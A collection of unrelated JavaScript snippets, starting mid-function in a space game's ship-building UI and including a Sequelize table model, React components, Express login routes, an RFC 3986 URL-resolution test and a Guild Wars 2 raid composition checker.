planet.battlecruiserShip.listDependencies(planet); while (shipBattlecruiserD.firstChild != null) shipBattlecruiserD.removeChild(shipBattlecruiserD.firstChild); shipBattlecruiserD.appendChild(node); } shipDestroyer.innerHTML = "Destroyer (" + addCommas(planet.destroyerShip.amount) + ')'; shipDestroyerR.innerHTML = "Cost: " + addCommas(planet.destroyerShip.baseCostMetal) + " metal, " + addCommas(planet.destroyerShip.baseCostCrystal) + " crystal, " + addCommas(planet.destroyerShip.baseCostFuel) + " fuel"; if (planet.destroyerShip.dependenciesMet(planet)) {// no dependencies left to acquire shipDestroyerQ.style.display = 'inline'; getMaxShips('ship-destroyer-max', planet.destroyerShip, planet); shipDestroyerD.innerHTML = ''; } else {// dependencies required shipDestroyerQ.style.display = 'none'; node = planet.destroyerShip.listDependencies(planet); while (shipDestroyerD.firstChild != null) shipDestroyerD.removeChild(shipDestroyerD.firstChild); shipDestroyerD.appendChild(node); } shipDeathstar.innerHTML = "Deathstar (" + addCommas(planet.deathstarShip.amount) + ')'; shipDeathstarR.innerHTML = "Cost: " + addCommas(planet.deathstarShip.baseCostMetal) + " metal, " + addCommas(planet.deathstarShip.baseCostCrystal) + " crystal, " + addCommas(planet.deathstarShip.baseCostFuel) + " fuel"; if (planet.deathstarShip.dependenciesMet(planet)) {// no dependencies left to acquire shipDeathstarQ.style.display = 'inline'; getMaxShips('ship-deathstar-max', planet.deathstarShip, planet); shipDeathstarD.innerHTML = ''; } else {// dependencies required shipDeathstarQ.style.display = 'none'; node = planet.deathstarShip.listDependencies(planet); while (shipDeathstarD.firstChild != null) shipDeathstarD.removeChild(shipDeathstarD.firstChild); shipDeathstarD.appendChild(node); } } }
const Sequelize = require('sequelize'); module.exports = function(sequelize, DataTypes) { return sequelize.define('EavAttributeSet', { attribute_set_id: { autoIncrement: true, type: DataTypes.SMALLINT.UNSIGNED, allowNull: false, primaryKey: true, comment: "Attribute Set ID" }, entity_type_id: { type: DataTypes.SMALLINT.UNSIGNED, allowNull: false, defaultValue: 0, comment: "Entity Type ID", references: { model: 'eav_entity_type', key: 'entity_type_id' } }, attribute_set_name: { type: DataTypes.STRING(255), allowNull: true, comment: "Attribute Set Name" }, sort_order: { type: DataTypes.SMALLINT, allowNull: false, defaultValue: 0, comment: "Sort Order" } }, { sequelize, tableName: 'eav_attribute_set', timestamps: false, indexes: [ { name: "PRIMARY", unique: true, using: "BTREE", fields: [ { name: "attribute_set_id" }, ] }, { name: "EAV_ATTRIBUTE_SET_ENTITY_TYPE_ID_ATTRIBUTE_SET_NAME", unique: true, using: "BTREE", fields: [ { name: "entity_type_id" }, { name: "attribute_set_name" }, ] }, { name: "EAV_ATTRIBUTE_SET_ENTITY_TYPE_ID_SORT_ORDER", using: "BTREE", fields: [ { name: "entity_type_id" }, { name: "sort_order" }, ] }, ] }); };
const webpackMerge = require('webpack-merge'); const packageConfig = require(process.cwd() + '/angularx.json') || {}; const cliDefaultConfigs = { minimumNodeVersion: 8, outputFolder: './dist', server : { port: 9000, emulatorPort: 7000, emulatorAPIFolderPath: '/api-endpoints' } }; module.exports = { 'angular': require(process.cwd() + '/angular.json'), 'angularx': webpackMerge(cliDefaultConfigs, packageConfig), 'nx': require(process.cwd() + '/nx.json') }
import React from 'react'; import PropTypes from 'prop-types'; import { Switch , Route } from 'react-router'; import AsideMenu from './AsideMenu.jsx'; import Electricity from './Electricity.jsx'; import Others from './Others.jsx'; import NotFound from './NotFound.jsx'; import dbTables from '../data/database-tables'; const PaymentPage = ({ match, location, dbTables }) => { const basicURL = match.url; const name = location.pathname.split('/').pop(); return ( <div className="row"> <aside className="col-lg-2 com-md-2 col-sm-3"> <AsideMenu url={ basicURL } active={ name } dbTables={ dbTables } onClick={ ()=>{} } /> </aside> <main className="col-lg-8 col-md-6 col-sm-8 col-xs-12"> <Switch> <Route exact path={`${basicURL}/electricity`} component={ Electricity } /> <Route path={`${basicURL}/:name`} render={() => { return ( dbTables.isExist(name) ? <Others active={ name } title={ dbTables.title[name] } /> : <NotFound location={ location } /> ); }}/> </Switch> </main> </div> ); }; PaymentPage.defaultProps = { dbTables }; PaymentPage.propTypes = { match: PropTypes.object.isRequired, location: PropTypes.object.isRequired, dbTables: PropTypes.object.isRequired }; export default PaymentPage;
var searchData= [ ['mass',['mass',['../structefp__atom.html#a8962fc90c9c77290b4817dac50f5c312',1,'efp_atom']]] ];
export const FETCH_POPULAR_ARTICLES = 'FETCH_POPULAR_ARTICLES'; export const FETCH_POPULAR_ARTICLES_SUCCESS = 'FETCH_POPULAR_ARTICLES_SUCCESS'; export const FETCH_POPULAR_ARTICLES_FAILURE = 'FETCH_POPULAR_ARTICLES_FAILURE';
let loginController = require('../controllers/login.controller'); let loginValidation = require('../validations/login.validation'); module.exports = (server) => { server.get('/login', loginValidation.login, loginController.login); server.post('/signUp', loginValidation.signUp, loginController.signUp); };
function runTest() { // http://www.apps.ietf.org/rfc/rfc3986.html#sec-5 var testBaseURL = "http://a/b/c/d;p?q"; var absoluteURL = FW.FBL.absoluteURL("g", testBaseURL); var rfc3986_5_4 = [ {relative: "g:h", absolute: "g:h"}, {relative: "g", absolute: "http://a/b/c/g"}, {relative: "./g", absolute: "http://a/b/c/g"}, {relative: "1/g", absolute: "http://a/b/c/1/g"}, {relative: "g/", absolute: "http://a/b/c/g/"}, {relative: "/g", absolute: "http://a/g"}, {relative: "//g", absolute: "http://g"}, {relative: "?y", absolute: "http://a/b/c/d;p?y"}, {relative: "g?y", absolute: "http://a/b/c/g?y"}, {relative: "#s", absolute: "http://a/b/c/d;p?q#s"}, {relative: "g#s", absolute: "http://a/b/c/g#s"}, {relative: "g?y#s", absolute: "http://a/b/c/g?y#s"}, {relative: ";x", absolute: "http://a/b/c/;x"}, {relative: "g;x", absolute: "http://a/b/c/g;x"}, {relative: "g;x?y#s", absolute: "http://a/b/c/g;x?y#s"}, {relative: "", absolute: "http://a/b/c/d;p?q"}, // more with dots and also abnormal example needed ]; for (var i = 0; i < rfc3986_5_4.length; i++) { var relative = rfc3986_5_4[i].relative; var absolute = rfc3986_5_4[i].absolute; FBTest.compare(absolute, FW.FBL.absoluteURL(relative, testBaseURL), "For base "+testBaseURL+" relative url: "+relative+" = "+absolute); } FBTest.testDone(); }
import React,{Component} from 'react' import Columns from './Columns' function Table(){ return( <table border='1'> <tbody> <tr> <Columns/> </tr> <tr> <td>yamini</td> <td>22</td> </tr> <tr> <td>satya</td> <td>23</td> </tr> <tr> <td>harini</td> <td>24</td> </tr> </tbody> </table> ) } export default Table
import React from 'react'; import PropTypes from 'prop-types'; const SquadStats = ({ totalValue }) => ( <div> <p>strength: {totalValue.strength}</p> <p>intelligence: {totalValue.intelligence}</p> <p>speed: {totalValue.speed}</p> </div> ); SquadStats.propTypes = { totalValue: PropTypes.shape().isRequired }; export default SquadStats;
const DamageType = { POWER: 0, CONDI: 1, SPLIT: 2, MIRAGE: 3, ANY: 4, }; const wing1 = { 'Vale Guardian': { tank: 1, heal: 1, damageType: DamageType.SPLIT, }, 'Spirit Run': { tank: 0, heal: 0, damageType: DamageType.POWER, }, 'Gorseval the Multifarious': { tank: 1, heal: 1, damageType: DamageType.POWER, }, 'Clear out the bandits': { event: true, tank: 0, heal: 0, damageType: DamageType.ANY, }, 'Sabetha the Saboteur': { heal: 1, damageType: DamageType.ANY, }, }; const wing2 = { Slothasor: { heal: 2, damageType: DamageType.POWER, }, 'Bandit Trio': { heal: 1, damageType: DamageType.ANY, }, 'Clear out the ruins': { event: true, tank: 0, heal: 0, damageType: DamageType.ANY, }, 'Matthias Gabrel': { boonThief: true, heal: 1, damageType: DamageType.CONDI, }, }; const wing3 = { Escort: { portal: 2, heal: 0, damageType: DamageType.ANY, }, 'Keep Construct': { tank: 1, heal: 1, damageType: DamageType.POWER, }, 'Twisted Castle': { portal: 1, heal: 1, damageType: DamageType.ANY, }, Xera: { tank: 1, heal: 1, damageType: DamageType.POWER, }, }; const wing4 = { Cairn: { heal: 1, damageType: DamageType.CONDI, }, 'Break into the recreation room': { event: true, }, 'Mursaat Overseer': { heal: 1, damageType: DamageType.ANY, }, Samarog: { // tank: 2, not reaaallly heal: 1, damageType: DamageType.POWER, }, Deimos: { tank: 1, heal: 1, damageType: DamageType.POWER, }, }; const wing5 = { 'Soulless Horror': { tank: 2, heal: 2, damageType: DamageType.MIRAGE, }, River: { heal: 2, damageType: DamageType.ANY, }, Statues: { tank: 1, heal: 1, damageType: DamageType.ANY, }, Dhuum: { tank: 1, heal: 2, damageType: DamageType.CONDI, }, }; const wing6 = { 'Conjured Amalgamate': { heal: 1, damageType: DamageType.POWER, }, 'Sorting and Appraisal': { event: true, heal: 1, damageType: DamageType.ANY, }, 'Twin Largos': { tank: 2, heal: 2, damageType: DamageType.MIRAGE, }, Pyres: { event: true, heal: 1, damageType: DamageType.ANY, }, Qadim: { tank: 1, heal: 1, kite: 1, damageType: DamageType.POWER, }, }; const wing7 = { Gate: { event: true, heal: 2, damageType: DamageType.ANY, }, Roleplay: { event: true, }, 'Cardinal Adina': { boonThief: true, tank: 1, heal: 1, damageType: DamageType.POWER, }, 'Cardinal Sabir': { tank: 1, heal: 1, damageType: DamageType.MIRAGE, }, 'Roleplay Round Two': { event: true, }, 'Qadim the Peerless': { tank: 1, heal: 2, damageType: DamageType.CONDI, kite: 3, }, }; function specBoonCapabilities(bossName, spec) { if (/(Boon|Tank|Heal) Chronomancer/.test(spec)) { return { quickness: 5, alacrity: 5, }; } if (/(Heal|Boon) Firebrand/.test(spec)) { return { quickness: 5, }; } if (/(Heal|Boon) Renegade/.test(spec)) { return { alacrity: 10, }; } if (allBosses[bossName].boonThief) { if (/(Tank|Boon|Heal) (Thief|Daredevil)/.test(spec)) { return { quickness: 10, }; } } if (spec.includes('Renegade')) { return { alacrity: 5, }; } } function specCapabilities(bossName, spec) { const boons = specBoonCapabilities(bossName, spec); const heal = +spec.includes('Heal'); const tank = +spec.includes('Tank'); let kite = +(spec === 'Power Deadeye'); if (bossName === 'Qadim the Peerless') { if (/(Heal|Condition) Scourge/.test(spec)) { kite += 1; } if (spec === 'Heal Tempest') { kite += 1; } } const power = +spec.includes('Power'); const condi = +spec.includes('Condition'); return Object.assign({ kite, heal, tank, power, condi, }, boons); } let allBosses = Object.assign( {}, wing1, wing2, wing3, wing4, wing5, wing6, wing7, ); function isValidCompForBoss(bossName, specs) { let boss = allBosses[bossName]; if (!boss) { return { valid: true, }; } let requirements = Object.assign({ quickness: 10, alacrity: 10, }, boss); let capabilities = {}; for (let spec of specs) { let capas = specCapabilities(bossName, spec); for (let capaKey in capas) { if (capabilities.hasOwnProperty(capaKey)) { capabilities[capaKey] += capas[capaKey]; } else { capabilities[capaKey] = capas[capaKey]; } } } if (requirements.hasOwnProperty('damageType')) { switch (requirements.damageType) { case DamageType.POWER: if (capabilities.power < 4) { return { valid: false, reason: 'missing power damage', }; } break; case DamageType.CONDI: case DamageType.MIRAGE: if (capabilities.condi < 4) { return { valid: false, reason: 'missing condi damage', }; } break; case DamageType.SPLIT: if (capabilities.condi < 2 || capabilities.power < 2) { return { valid: false, reason: 'missing split damage types', }; } break; case DamageType.ANY: default: break; } delete requirements.damageType; } for (let req in requirements) { if (!capabilities.hasOwnProperty(req)) { return { valid: false, reason: `missing ${req}`, }; } if (capabilities[req] < requirements[req]) { return { valid: false, reason: `insufficient ${req}`, }; } } return { valid: true, }; } module.exports = { isValidCompForBoss, };